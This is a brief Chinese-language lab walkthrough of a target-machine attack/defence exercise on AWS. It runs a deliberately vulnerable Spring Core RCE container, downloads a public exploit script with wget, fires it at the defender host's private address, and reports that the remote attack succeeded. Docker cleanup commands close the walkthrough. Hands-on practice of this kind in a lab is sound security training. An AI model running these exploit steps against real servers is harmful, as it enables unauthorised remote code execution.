靶機的攻防(也稱為「CTF:攻防演練」或「靶場演練」)是資訊安全領域中一種模擬現實攻擊和防禦情境的實驗活動。靶機通常指的是一台被設置為特定環境或場景的虛擬機器,攻防雙方會在這台機器上進行實戰模擬,以測試和提升他們的資安技能。
並且三端都建置在相同 AWS Cloud --> VPC --> AZ 的Subnet下
首先依照單機測試的方法,執行前三步驟
docker pull vulfocus/spring-core-rce-2022-03-29:latest
docker run -p 8066:8080 vulfocus/spring-core-rce-2022-03-29:latest
wget https://raw.githubusercontent.com/dinosn/spring-core-rce/main/test.py
將後續網址改為防禦端的私有網址內容
python3 test.py --url http://127.104.100.165:8066/
代表遠端攻擊成功
dcker ps
: 查看CONTAINER_IDdocker stop <CONTAINER_ID>
: 停止dockerdocker rm <CONTAINER_ID>
: 刪除containerdocker rmi <IMAGE_ID>
: 移除映像檔┌──(root㉿kali)-[/home/iris]
└─# docker stop 884aefa286ca
884aefa286ca
┌──(root㉿kali)-[/home/iris]
└─# docker rm 884aefa286ca
884aefa286ca
┌──(root㉿kali)-[/home/iris]
└─# docker rmi spring-core-rce-2022-03-29:latest